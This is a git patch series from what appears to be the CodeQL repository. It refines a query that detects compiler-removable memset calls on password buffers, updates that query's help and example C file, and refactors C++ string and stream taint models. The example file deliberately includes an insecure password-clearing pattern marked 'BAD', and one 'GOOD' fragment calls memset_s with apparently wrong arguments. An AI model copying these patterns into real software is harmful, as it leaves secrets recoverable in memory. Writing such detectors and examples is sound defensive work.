.../CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql b/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql index fd53478cce6..6fb8ea38316 100644 --- a/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql +++ b/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql @@ -38,10 +38,9 @@ class CompilerRemovaMemset extends FunctionCall { } predicate isExistsFreeForThisVariable() { - exists(FunctionCall free, Variable v | - free instanceof DeallocationExpr and + exists(DeallocationExpr free, Variable v | this.getArgument(0) = v.getAnAccess() and - free.getArgument(0) = v.getAnAccess() and + free.getFreedExpr() = v.getAnAccess() and this.getASuccessor+() = free ) } From b26a90e1e66e67f939dc4e4159c142fc744b1d2d Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Thu, 14 Jan 2021 17:15:58 +0300 Subject: [PATCH 0593/1241] Update cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql Co-authored-by: Mathias Vorreiter Pedersen <mathiasvp@github.com> --- .../CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql | 5 ++--- 1 file changed, 2 insertions(+), 3 deletions(-) diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql b/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql index 6fb8ea38316..56b1719c96e 100644 --- a/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql +++ b/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql @@ -1,8 +1,7 @@ /** * @name Compiler Removal Of Code To Clear Buffers - * @description --Using the memset function to clear private data as a final expression when working with a variable is potentially dangerous because the compiler can optimize this call. - * --For some compilers, optimization is also possible when using calls to free memory after the memset function. - * --To clear it, you need to use the RtlSecureZeroMemory or memset_s functions, or compilation flags that exclude optimization of memset calls (-fno-builtin-memset). + * @description Using <code>memset</code> the function to clear private data in a variable that has no subsequent use + * is potentially dangerous because the compiler can remove the call. * @kind problem * @id cpp/compiler-removal-of-code-to-clear-buffers * @problem.severity warning From 9e3b288f3374c6da4e8e2fb81ed40ee155642692 Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Thu, 14 Jan 2021 17:16:21 +0300 Subject: [PATCH 0594/1241] Update cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.c Co-authored-by: Mathias Vorreiter Pedersen <mathiasvp@github.com> --- .../Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.c b/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.c index ab1bae3ae21..0c71d6e5dab 100644 --- a/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.c +++ b/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.c @@ -1,4 +1,4 @@ -// BAD: the memset call will probably be optimized. +// BAD: the memset call will probably be removed. void getPassword(void) { char pwd[64]; if (GetPassword(pwd, sizeof(pwd))) { From 4631658e5e4f2bdd26e61e891a11140722bf2a42 Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Thu, 14 Jan 2021 17:16:37 +0300 Subject: [PATCH 0595/1241] Update cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.c Co-authored-by: Mathias Vorreiter Pedersen <mathiasvp@github.com> --- .../Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.c b/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.c index 0c71d6e5dab..ce9be522a3c 100644 --- a/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.c +++ b/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.c @@ -6,7 +6,7 @@ void getPassword(void) { } memset(pwd, 0, sizeof(pwd)); } -// GOOD: in this case the memset will not be optimized. +// GOOD: in this case the memset will not be removed. void getPassword(void) { char pwd[64]; From 76b768f7e0f8e31937665cd92ca21e4eb7af906e Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Thu, 14 Jan 2021 17:16:53 +0300 Subject: [PATCH 0596/1241] Update cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.c Co-authored-by: Mathias Vorreiter Pedersen <mathiasvp@github.com> --- .../Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.c b/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.c index ce9be522a3c..3e92f5e4fa2 100644 --- a/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.c +++ b/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.c @@ -15,7 +15,7 @@ void getPassword(void) { } memset_s(pwd, 0, sizeof(pwd)); } -// GOOD: in this case the memset will not be optimized. +// GOOD: in this case the memset will not be removed. void getPassword(void) { char pwd[64]; if (retrievePassword(pwd, sizeof(pwd))) { From 4ba4de3d41eecff5e8d30e9cfd65064bc585869e Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Thu, 14 Jan 2021 17:17:08 +0300 Subject: [PATCH 0597/1241] Update cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.c Co-authored-by: Mathias Vorreiter Pedersen <mathiasvp@github.com> --- .../Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.c b/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.c index 3e92f5e4fa2..14dd07a573e 100644 --- a/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.c +++ b/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.c @@ -23,7 +23,7 @@ void getPassword(void) { } SecureZeroMemory(pwd, sizeof(pwd)); } -// GOOD: in this case the memset will not be optimized. +// GOOD: in this case the memset will not be removed. void getPassword(void) { char pwd[64]; if (retrievePassword(pwd, sizeof(pwd))) { From 0d0ea0c5e15140d97f170b38f227e549487ea7f9 Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Thu, 14 Jan 2021 17:17:56 +0300 Subject: [PATCH 0598/1241] Update cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql Co-authored-by: Mathias Vorreiter Pedersen <mathiasvp@github.com> --- .../Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql b/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql index 56b1719c96e..892350cecc2 100644 --- a/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql +++ b/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql @@ -14,7 +14,7 @@ import cpp import semmle.code.cpp.dataflow.DataFlow /** - * A call to `memset` , for some local variable. + * A call to `memset` of the form `memset(ptr, value, num)`, for some local variable `ptr`. */ class CompilerRemovaMemset extends FunctionCall { CompilerRemovaMemset() { From 3e715ff52d0e70d87504d9d6fb6a633e61744f08 Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Thu, 14 Jan 2021 17:19:23 +0300 Subject: [PATCH 0599/1241] Update cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.qhelp Co-authored-by: Mathias Vorreiter Pedersen <mathiasvp@github.com> --- .../CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.qhelp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.qhelp b/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.qhelp index 89b4189a100..d7d670ac9bf 100644 --- a/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.qhelp +++ b/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.qhelp @@ -4,7 +4,7 @@ <qhelp> <overview> <p>Compiler optimization will exclude the cleaning of private information. -Using the memset function to clear private data as a final expression when working with a variable is potentially dangerous, since the compiler can optimize this call. +Using the <code>memset</code> function to clear private data in a variable that has no subsequent use is potentially dangerous, since the compiler can remove the call. For some compilers, optimization is also possible when using calls to free memory after the <code>memset</codee> function.</p> <p>It is possible to miss detection of vulnerabilities if used to clear fields of structures or parts of a buffer.</p> From 7f5e5fcb99b309c296b3d3140b5b9b3cd0eb7490 Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Thu, 14 Jan 2021 17:19:57 +0300 Subject: [PATCH 0600/1241] Update cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.qhelp Co-authored-by: Mathias Vorreiter Pedersen <mathiasvp@github.com> --- .../CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.qhelp | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.qhelp b/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.qhelp index d7d670ac9bf..a739c12ef8b 100644 --- a/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.qhelp +++ b/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.qhelp @@ -12,7 +12,7 @@ For some compilers, optimization is also possible when using calls to free memor </overview> <recommendation> -<p>We recommend to use the <code>RtlSecureZeroMemory</code> or <code>memset_s</code> functions, or compilation flags that exclude optimization of <code>memset</code> calls (-fno-builtin-memset).</p> +<p>We recommend to use the <code>RtlSecureZeroMemory</code> or <code>memset_s</code> functions, or compilation flags that exclude optimization of <code>memset</code> calls (e.g. -fno-builtin-memset).</p> </recommendation> <example> From cd0d2a569259a13290ecd5cb2de873470bff4cc3 Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Thu, 14 Jan 2021 17:21:19 +0300 Subject: [PATCH 0601/1241] Update cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql Co-authored-by: Mathias Vorreiter Pedersen <mathiasvp@github.com> --- .../CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql b/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql index 892350cecc2..ca0240ad218 100644 --- a/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql +++ b/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql @@ -98,10 +98,10 @@ class CompilerRemovaMemset extends FunctionCall { exists(Compilation c | c.getAFileCompiled() = this.getFile() and ( - c.getArgument(2).toString().matches("%gcc%") or - c.getArgument(2).toString().matches("%g++%") or - c.getArgument(2).toString().matches("%clang%") or - c.getArgument(2).toString() = "--force-recompute" + c.getArgument(2).matches("%gcc%") or + c.getArgument(2).matches("%g++%") or + c.getArgument(2).matches("%clang%") or + c.getArgument(2) = "--force-recompute" ) ) } From 10ab1d9b549b01e65b6a00535952009280d8b96e Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Thu, 14 Jan 2021 17:24:49 +0300 Subject: [PATCH 0602/1241] Update CompilerRemovalOfCodeToClearBuffers.ql --- .../Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql b/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql index ca0240ad218..3f6e47ee891 100644 --- a/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql +++ b/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql @@ -29,7 +29,7 @@ class CompilerRemovaMemset extends FunctionCall { } predicate isExistsAllocForThisVariable() { - exists(FunctionCall alloc, Variable v | + exists(AllocationExpr alloc, Variable v | alloc = v.getAnAssignedValue() and this.getArgument(0) = v.getAnAccess() and alloc.getASuccessor+() = this From 805352945ede85170b1dc14fcd72bf45c41196e3 Mon Sep 17 00:00:00 2001 From: ihsinme <61293369+ihsinme@users.noreply.github.com> Date: Thu, 14 Jan 2021 17:27:58 +0300 Subject: [PATCH 0603/1241] Update CompilerRemovalOfCodeToClearBuffers.ql --- .../Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql b/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql index 3f6e47ee891..96ecc30a95e 100644 --- a/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql +++ b/cpp/ql/src/experimental/Security/CWE/CWE-14/CompilerRemovalOfCodeToClearBuffers.ql @@ -18,7 +18,7 @@ import semmle.code.cpp.dataflow.DataFlow */ class CompilerRemovaMemset extends FunctionCall { CompilerRemovaMemset() { - this.getTarget().hasName("memset") and + this.getTarget().hasGlobalOrStdName("memset") and exists(DataFlow::Node source, DataFlow::Node sink, LocalVariable isv, Expr exp | DataFlow::localFlow(source, sink) and this.getArgument(0) = isv.getAnAccess() and From 6cf684f61598900a21131f9408b45fbe60aef5fd Mon Sep 17 00:00:00 2001 From: Tom Hvitved <hvitved@github.com> Date: Thu, 14 Jan 2021 15:59:22 +0100 Subject: [PATCH 0604/1241] C#: Fix QL doc --- csharp/ql/src/semmle/code/csharp/dataflow/SSA.qll | 5 +---- 1 file changed, 1 insertion(+), 4 deletions(-) diff --git a/csharp/ql/src/semmle/code/csharp/dataflow/SSA.qll b/csharp/ql/src/semmle/code/csharp/dataflow/SSA.qll index 6b243fb619d..bb4856a0de0 100644 --- a/csharp/ql/src/semmle/code/csharp/dataflow/SSA.qll +++ b/csharp/ql/src/semmle/code/csharp/dataflow/SSA.qll @@ -18,10 +18,7 @@ module Ssa { this instanceof Property } - /** - * Holds if this field or any of the fields part of the qualifier - * are volatile. - */ + /** Holds if this is a volatile field. */ predicate isVolatile() { this.(Field).isVolatile() } } From 13d0efe96da809a64f6ff55e91682fd30606b3a9 Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Wed, 13 Jan 2021 18:08:15 +0000 Subject: [PATCH 0605/1241] C++: Change to more natural expressions without use of weird predicates or 'any'. The classes for string objects now match instantiations directly rather than the template. --- .../cpp/models/implementations/StdString.qll | 121 +++++++++--------- 1 file changed, 57 insertions(+), 64 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/StdString.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/StdString.qll index d17fb39a79e..078310d2b35 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/StdString.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/StdString.qll @@ -11,13 +11,8 @@ import semmle.code.cpp.models.interfaces.DataFlow /** * The `std::basic_string` template class. */ -private class StdBasicString extends TemplateClass { - StdBasicString() { this.hasQualifiedName("std", "basic_string") } - - Declaration getAnInstMemberNamed(string name) { - result = getAnInstantiation().getAMember() and - result.hasName(name) - } +private class StdBasicString extends ClassTemplateInstantiation { + StdBasicString() { this.getTemplate().hasQualifiedName("std", "basic_string") } } /** @@ -29,7 +24,7 @@ private class StdBasicString extends TemplateClass { * ``` */ private class StdStringConstructor extends Constructor, TaintFunction { - StdStringConstructor() { this = any(StdBasicString s).getAnInstantiation().getAMember() } + StdStringConstructor() { this.getDeclaringType() instanceof StdBasicString } /** * Gets the index of a parameter to this function that is a string (or @@ -74,7 +69,7 @@ private class StdStringConstructor extends Constructor, TaintFunction { * The `std::string` function `c_str`. */ private class StdStringCStr extends TaintFunction { - StdStringCStr() { this = any(StdBasicString s).getAnInstMemberNamed("c_str") } + StdStringCStr() { this.getDeclaringType() instanceof StdBasicString and this.hasName("c_str") } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { // flow from string itself (qualifier) to return value @@ -87,7 +82,7 @@ private class StdStringCStr extends TaintFunction { * The `std::string` function `data`. */ private class StdStringData extends TaintFunction { - StdStringData() { this = any(StdBasicString s).getAnInstMemberNamed("data") } + StdStringData() { this.getDeclaringType() instanceof StdBasicString and this.hasName("data") } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { // flow from string itself (qualifier) to return value @@ -105,7 +100,10 @@ private class StdStringData extends TaintFunction { * The `std::string` function `push_back`. */ private class StdStringPush extends TaintFunction { - StdStringPush() { this = any(StdBasicString s).getAnInstMemberNamed("push_back") } + StdStringPush() { + this.getDeclaringType().(ClassTemplateInstantiation) instanceof StdBasicString and + this.hasName("push_back") + } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { // flow from parameter to qualifier @@ -118,7 +116,9 @@ private class StdStringPush extends TaintFunction { * The `std::string` functions `front` and `back`. */ private class StdStringFrontBack extends TaintFunction { - StdStringFrontBack() { this = any(StdBasicString s).getAnInstMemberNamed(["front", "back"]) } + StdStringFrontBack() { + this.getDeclaringType() instanceof StdBasicString and this.hasName(["front", "back"]) + } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { // flow from object to returned reference @@ -133,7 +133,7 @@ private class StdStringFrontBack extends TaintFunction { private class StdStringPlus extends TaintFunction { StdStringPlus() { this.hasQualifiedName("std", "operator+") and - this.getUnspecifiedType() = any(StdBasicString s).getAnInstantiation() + this.getUnspecifiedType() instanceof StdBasicString } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { @@ -153,7 +153,8 @@ private class StdStringPlus extends TaintFunction { */ private class StdStringAppend extends TaintFunction { StdStringAppend() { - this = any(StdBasicString s).getAnInstMemberNamed(["operator+=", "append", "insert", "replace"]) + this.getDeclaringType() instanceof StdBasicString and + this.hasName(["operator+=", "append", "insert", "replace"]) } /** @@ -195,7 +196,7 @@ private class StdStringAppend extends TaintFunction { * The standard function `std::string.assign`. */ private class StdStringAssign extends TaintFunction { - StdStringAssign() { this = any(StdBasicString s).getAnInstMemberNamed("assign") } + StdStringAssign() { this.getDeclaringType() instanceof StdBasicString and this.hasName("assign") } /** * Gets the index of a parameter to this function that is a string (or @@ -235,7 +236,7 @@ private class StdStringAssign extends TaintFunction { * The standard function `std::string.copy`. */ private class StdStringCopy extends TaintFunction { - StdStringCopy() { this = any(StdBasicString s).getAnInstMemberNamed("copy") } + StdStringCopy() { this.getDeclaringType() instanceof StdBasicString and this.hasName("copy") } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { // copy(dest, num, pos) @@ -248,7 +249,7 @@ private class StdStringCopy extends TaintFunction { * The standard function `std::string.substr`. */ private class StdStringSubstr extends TaintFunction { - StdStringSubstr() { this = any(StdBasicString s).getAnInstMemberNamed("substr") } + StdStringSubstr() { this.getDeclaringType() instanceof StdBasicString and this.hasName("substr") } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { // substr(pos, num) @@ -260,20 +261,17 @@ private class StdStringSubstr extends TaintFunction { /** * The `std::basic_stringstream` template class. */ -private class StdBasicStringStream extends TemplateClass { - StdBasicStringStream() { this.hasQualifiedName("std", "basic_stringstream") } - - Declaration getAnInstMemberNamed(string name) { - result = getAnInstantiation().getAMember() and - result.hasName(name) - } +private class StdBasicStringStream extends ClassTemplateInstantiation { + StdBasicStringStream() { this.getTemplate().hasQualifiedName("std", "basic_stringstream") } } /** * The `std::string` functions `at` and `operator[]`. */ private class StdStringAt extends TaintFunction { - StdStringAt() { this = any(StdBasicString s).getAnInstMemberNamed(["at", "operator[]"]) } + StdStringAt() { + this.getDeclaringType() instanceof StdBasicString and this.hasName(["at", "operator[]"]) + } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { // flow from qualifier to referenced return value @@ -289,20 +287,17 @@ private class StdStringAt extends TaintFunction { /** * The `std::basic_istream` template class. */ -private class StdBasicIStream extends TemplateClass { - StdBasicIStream() { this.hasQualifiedName("std", "basic_istream") } - - Declaration getAnInstMemberNamed(string name) { - result = getAnInstantiation().getAMember() and - result.hasName(name) - } +private class StdBasicIStream extends ClassTemplateInstantiation { + StdBasicIStream() { this.getTemplate().hasQualifiedName("std", "basic_istream") } } /** * The `std::istream` function `operator>>` (defined as a member function). */ private class StdIStreamIn extends DataFlowFunction, TaintFunction { - StdIStreamIn() { this = any(StdBasicIStream s).getAnInstMemberNamed("operator>>") } + StdIStreamIn() { + this.getDeclaringType() instanceof StdBasicIStream and this.hasName("operator>>") + } override predicate hasDataFlow(FunctionInput input, FunctionOutput output) { // returns reference to `*this` @@ -327,8 +322,7 @@ private class StdIStreamIn extends DataFlowFunction, TaintFunction { private class StdIStreamInNonMember extends DataFlowFunction, TaintFunction { StdIStreamInNonMember() { this.hasQualifiedName("std", "operator>>") and - this.getUnspecifiedType().(ReferenceType).getBaseType() = - any(StdBasicIStream s).getAnInstantiation() + this.getUnspecifiedType().(ReferenceType).getBaseType() instanceof StdBasicIStream } override predicate hasDataFlow(FunctionInput input, FunctionOutput output) { @@ -353,7 +347,8 @@ private class StdIStreamInNonMember extends DataFlowFunction, TaintFunction { */ private class StdIStreamGet extends TaintFunction { StdIStreamGet() { - this = any(StdBasicIStream s).getAnInstMemberNamed(["get", "peek"]) and + this.getDeclaringType() instanceof StdBasicIStream and + this.hasName(["get", "peek"]) and this.getNumberOfParameters() = 0 } @@ -369,7 +364,8 @@ private class StdIStreamGet extends TaintFunction { */ private class StdIStreamRead extends DataFlowFunction, TaintFunction { StdIStreamRead() { - this = any(StdBasicIStream s).getAnInstMemberNamed(["get", "read"]) and + this.getDeclaringType() instanceof StdBasicIStream and + this.hasName(["get", "read"]) and this.getNumberOfParameters() > 0 } @@ -394,7 +390,9 @@ private class StdIStreamRead extends DataFlowFunction, TaintFunction { * The `std::istream` function `readsome`. */ private class StdIStreamReadSome extends TaintFunction { - StdIStreamReadSome() { this = any(StdBasicIStream s).getAnInstMemberNamed("readsome") } + StdIStreamReadSome() { + this.getDeclaringType() instanceof StdBasicIStream and this.hasName("readsome") + } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { // flow from qualifier to first parameter @@ -407,7 +405,9 @@ private class StdIStreamReadSome extends TaintFunction { * The `std::istream` function `putback`. */ private class StdIStreamPutBack extends DataFlowFunction, TaintFunction { - StdIStreamPutBack() { this = any(StdBasicIStream s).getAnInstMemberNamed("putback") } + StdIStreamPutBack() { + this.getDeclaringType() instanceof StdBasicIStream and this.hasName("putback") + } override predicate hasDataFlow(FunctionInput input, FunctionOutput output) { // returns reference to `*this` @@ -440,7 +440,9 @@ private class StdIStreamPutBack extends DataFlowFunction, TaintFunction { * The `std::istream` function `getline`. */ private class StdIStreamGetLine extends DataFlowFunction, TaintFunction { - StdIStreamGetLine() { this = any(StdBasicIStream s).getAnInstMemberNamed("getline") } + StdIStreamGetLine() { + this.getDeclaringType() instanceof StdBasicIStream and this.hasName("getline") + } override predicate hasDataFlow(FunctionInput input, FunctionOutput output) { // returns reference to `*this` @@ -485,13 +487,8 @@ private class StdGetLine extends DataFlowFunction, TaintFunction { /** * The `std::basic_ostream` template class. */ -private class StdBasicOStream extends TemplateClass { - StdBasicOStream() { this.hasQualifiedName("std", "basic_ostream") } - - Declaration getAnInstMemberNamed(string name) { - result = getAnInstantiation().getAMember() and - result.hasName(name) - } +private class StdBasicOStream extends ClassTemplateInstantiation { + StdBasicOStream() { this.getTemplate().hasQualifiedName("std", "basic_ostream") } } /** @@ -500,7 +497,8 @@ private class StdBasicOStream extends TemplateClass { */ private class StdOStreamOut extends DataFlowFunction, TaintFunction { StdOStreamOut() { - this = any(StdBasicOStream s).getAnInstMemberNamed(["operator<<", "put", "write"]) + this.getDeclaringType() instanceof StdBasicOStream and + this.hasName(["operator<<", "put", "write"]) } override predicate hasDataFlow(FunctionInput input, FunctionOutput output) { @@ -536,8 +534,7 @@ private class StdOStreamOut extends DataFlowFunction, TaintFunction { private class StdOStreamOutNonMember extends DataFlowFunction, TaintFunction { StdOStreamOutNonMember() { this.hasQualifiedName("std", "operator<<") and - this.getUnspecifiedType().(ReferenceType).getBaseType() = - any(StdBasicOStream s).getAnInstantiation() + this.getUnspecifiedType().(ReferenceType).getBaseType() instanceof StdBasicOStream } override predicate hasDataFlow(FunctionInput input, FunctionOutput output) { @@ -566,9 +563,7 @@ private class StdOStreamOutNonMember extends DataFlowFunction, TaintFunction { * input parameter. */ private class StdStringStreamConstructor extends Constructor, TaintFunction { - StdStringStreamConstructor() { - this = any(StdBasicStringStream s).getAnInstantiation().getAMember() - } + StdStringStreamConstructor() { this.getDeclaringType() instanceof StdBasicStringStream } /** * Gets the index of a parameter to this function that is a string. @@ -592,7 +587,9 @@ private class StdStringStreamConstructor extends Constructor, TaintFunction { * The `std::stringstream` function `str`. */ private class StdStringStreamStr extends TaintFunction { - StdStringStreamStr() { this = any(StdBasicStringStream s).getAnInstMemberNamed("str") } + StdStringStreamStr() { + this.getDeclaringType() instanceof StdBasicStringStream and this.hasName("str") + } override predicate hasTaintFlow(FunctionInput input, FunctionOutput output) { // flow from qualifier to return value (if any) @@ -608,13 +605,8 @@ private class StdStringStreamStr extends TaintFunction { /** * The `std::basic_ios` template class. */ -private class StdBasicIOS extends TemplateClass { - StdBasicIOS() { this.hasQualifiedName("std", "basic_ios") } - - Declaration getAnInstMemberNamed(string name) { - result = getAnInstantiation().getAMember() and - result.hasName(name) - } +private class StdBasicIOS extends ClassTemplateInstantiation { + StdBasicIOS() { this.getTemplate().hasQualifiedName("std", "basic_ios") } } /** @@ -623,11 +615,12 @@ private class StdBasicIOS extends TemplateClass { */ private class StdStreamFunction extends DataFlowFunction, TaintFunction { StdStreamFunction() { - this = any(StdBasicIStream s).getAnInstMemberNamed(["ignore", "unget", "seekg"]) + this.getDeclaringType() instanceof StdBasicIStream and + this.hasName(["ignore", "unget", "seekg"]) or - this = any(StdBasicOStream s).getAnInstMemberNamed(["seekp", "flush"]) + this.getDeclaringType() instanceof StdBasicOStream and this.hasName(["seekp", "flush"]) or - this = any(StdBasicIOS s).getAnInstMemberNamed("copyfmt") + this.getDeclaringType() instanceof StdBasicIOS and this.hasName("copyfmt") } override predicate hasDataFlow(FunctionInput input, FunctionOutput output) { From 54bd36def2ba638eea99f163de0e696795b4d86f Mon Sep 17 00:00:00 2001 From: Geoffrey White <40627776+geoffw0@users.noreply.github.com> Date: Thu, 14 Jan 2021 15:20:29 +0000 Subject: [PATCH 0606/1241] C++: Correct QLDoc comments. --- .../code/cpp/models/implementations/StdString.qll | 10 +++++----- 1 file changed, 5 insertions(+), 5 deletions(-) diff --git a/cpp/ql/src/semmle/code/cpp/models/implementations/StdString.qll b/cpp/ql/src/semmle/code/cpp/models/implementations/StdString.qll index 078310d2b35..397f4e3141c 100644 --- a/cpp/ql/src/semmle/code/cpp/models/implementations/StdString.qll +++ b/cpp/ql/src/semmle/code/cpp/models/implementations/StdString.qll @@ -9,7 +9,7 @@ import semmle.code.cpp.models.interfaces.Iterator import semmle.code.cpp.models.interfaces.DataFlow /** - * The `std::basic_string` template class. + * The `std::basic_string` template class instantiations. */ private class StdBasicString extends ClassTemplateInstantiation { StdBasicString() { this.getTemplate().hasQualifiedName("std", "basic_string") } @@ -259,7 +259,7 @@ private class StdStringSubstr extends TaintFunction { } /** - * The `std::basic_stringstream` template class. + * The `std::basic_stringstream` template class instantiations. */ private class StdBasicStringStream extends 